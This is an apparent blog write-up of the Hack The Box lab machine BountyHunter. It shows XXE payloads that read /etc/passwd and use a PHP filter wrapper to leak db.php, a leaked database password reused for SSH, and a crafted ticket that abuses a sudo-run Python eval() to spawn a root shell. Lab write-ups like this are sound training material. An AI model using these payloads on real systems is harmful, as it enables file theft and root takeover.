Box 7: HTB - BountyHunter

Relatively easy for the beginners. This box would be retired soon.

Victor Le
10 min readNov 30, 2021


As soon as I connected to the VPN, let’s launch the Nmap scanner to fight against this box.

nmap -sV -n -vv -Pn -T4 -p- -A --open

PORT   STATE SERVICE REASON         VERSION22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))

Try browsing with port 80 (HTTP).

There’s nothing noticeable with tab and "About" and "Contact", but "Portal" is distinguished.


It will lead you to a new odd page.

"Portal" page

When we click on "here"→ this will lead us to another page. This page seems to be a system for submitting bug reports.

Bounty Report System - Beta

If I input data to this form, the web page will display the same output to me as the following:

Submit the bounty report

I’ve tried navigating to "Network" tab to view the action of this page when I was clicking "Submit" button. I saw that the page send a POST request to this site: I guessed that this script would receive the data we "POST", then processed and displayed the relevant output to us on the screen.

At that time, I thought there’s nothing here to explore further. Therefore, I came back to fire up the popular tool dirsearch and take a closer look at this site as we manually explore it.

dirsearch result

With the above result from dirsearch, we only focus on the response with status code 2xx or 3xx. However, in that mess (except the homepage /index.php), we can only access to some URL:

With /index.php/login, actually there’s no any juicy thing here. You can skip it.

With /resources/, I guessed we might find some things useful here:

Firstly, I began with README.txt. The content of file is usually the instruction for users or someone.


Hmmm… I noticed the first line immediately, and then test SSH connection with user 'test' + empty password, but unsuccessfully 😂

The other lines actually make no sense with me, so I decided to ignore them.

Moving to all.js, this file is a mess and I also couldn’t take anything of out it.

However, the bountylog.js file will give us some clues:


From that point, we can guess that the input we entered will be sent with POST method in XML format, the website then get this XML data, process and revert back to us via HTML presentation.

The file db.php looks interesting, but when I accessed this script, it displayed nothing to explore → Maybe we need to review it later.


While intercepting the web requests in BurpSuite, I saw that in the POST request that was sent on submitting the “Bounty Report form”, there was some encoded data being sent in that POST request.


This page sends a request to /tracker_diRbPr00f314.php . The payload appears to be encoded in base64. We notice the %3D%3d at the end, so we decode the url first, then the base64 data.

Decoding this data string in the following sequence Data —> URL —> base64, we saw that the form data was being sent in XML format. If you don’t know what tool used to encode/decode data, let’s try this: CyberChef

When we URL-decode it, we will get the following information:


After base64-decoding, the data we entered appears to be in an XML format.

<?xml version=”1.0" encoding=”ISO-8859–1"?>
<title>rce via xxe</title>

That is matched with the data we have input from the web page:

Let’s try reading a system file by injecting an XXE file. If you still don’t know what is XXE Injection attack, reach this article for more details:

<?xml version="1.0" encoding=”ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>

I used the payload as above to read the /etc/passwd file → Encode to base64 → Encode to URL → Use BurpSuite Repeater to send a POST request and wait for the response. Wow!! That’s great 🤗

Get /etc/passwd with XXE
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Nice, we have a user development , who is the only one has the right to log in this server (default shell:/bin/bash), except the root user. Further, I tried to get more files, such as:


But I wasn’t able to view them, also i wasn’t able to perform code execution using the expect php module.

<!DOCTYPE title [<!ENTITY cmd SYSTEM 'expect://id'>]> but that too didn’t work.

Eventually, I tried to retrieve files using php base64 filter, another cool way to circumvent file retrieval hinderance:

In summary, we need to use PHP wrapper to both read and base64 encode the content of the file|stream at the same time, and in order to bypass file filtering mechanism as well. Trying to view the db.php file (the one we found during web enumeration)

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [<!ENTITY file SYSTEM 'php://filter/convert.base64-encode/resource=db.php'>]>

Final Payload to fetch the db.phpafter format processing:


All we need is the response in base64 format from the web server:

Fetch db.php file in base64 Encode

The content of file db.php in base64 encode:


And after base64 decoding:

// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

You can try using this password to SSH access to this server with different username, such as root, admin, test, bounty … However, the exactly username is development that we found in /etc/passwd from the earlier steps.

SSH Login

Boom!!! Welcome to the terminal 🎅🎅

Cat the flag user.txt and we get the first one.

Privilege Escalation

Another file you need to notice is contract.txt in home directory.

This text file contains information on John’s contract with Skytrain Inc, as well as a rm -rf event. They also suggest an internal tool that we can investigate.

Try using command sudo -l to check sudo permissions on user development

sudo -l

Lastly, I found that we could abuse this Python script and this might be the internal tool to submit the tickets that John mentioned before. is the program which we have the permission to run as root. Let’s try navigating that directory:

There’s truly a Python script in this folder and we have another sub-folder in this containing invalid tickets. Let’s check again what they are!

Review the content of some .md files here. They’r all the invalid tickets.

Python Code Analysis

We are going to perform a code review to the python script in order to spot any vulnerabilities:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
print("Wrong file type.")
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
if x.startswith("__Ticket Code:__"):
code_line = i+1
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
print("Invalid ticket.")

So, let’s make is simple. The code ask for a file name, then it make sure that the filename is ended with .md extension. If true, than the code open the file and search for the next conditions.

def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
print("Wrong file type.")

The 1st statement to check whether the 1st line in ticket contain "# Skytrain Inc"

if i == 0:
if not x.startswith("# Skytrain Inc"):
return False

The 2nd statment checks whether the 2nd line in ticket contain "## Ticket to ". If yes, print to the output as defined.

if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

The code snippet of interest to us is:

if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
return False

The code checks for the following conditons to validate the ticket:

Action 1 : If the line starts with "**", continue.

Action 2 :Splits the string by considering "+" as the delimitter, takes the first part at index [0] and replaces "**" with nothing (basically remove it), and stores it as a variable ticketcode.

Example in**31+410+86**  -->  [**31,410,86**]  -->  **31
ticketcode = 31

Action 3 : If this ticketcode satisfies ticketcode% 7 ==4, then continue.

31 % 7 == 3
condition check : false
so this particular ticket is labelled as invalid.

Action 4 : Remove the "**" from the original string and evaluate value of the expression.

If the result of this evaluated expression is > 100 then return True.

Now, as this string satisfies all the conditions from 1 to 3 which are required to be satisfied in order to execute the eval() function, let’s create a ticket file with this content in the /tmp directory (as we have write permissions in this, but not in /opt/skytrain_inc/), and run on it

To calculate the ticket code, we’ll use the formula x=7(y)+4, where x is the number and y is the quotient. Any actual number can be added to calculate. 7*(0)+4=4, for example.

Now eval() function in Python is vulnerable. This function will also execute the python code given to it. In this case the input it takes is not being sanitized, so we can provide malicious python code to it, spawning a root shell (cause we have the permission to run this program as root). Read more about it here.

# Skytrain Inc
## Ticket to abc
__Ticket Code:__
**4+200+exec('import pty;pty.spawn("/bin/bash")')

Fire up the sudo and execute the script, associate it with our custom ticket in /tmp directory.

sudo /usr/bin/python3.8 /opt/skytrain_inc/


Yup!! Easily we can spawn a bash shell with the root privilege.

And finally, root flag is an achievement for us.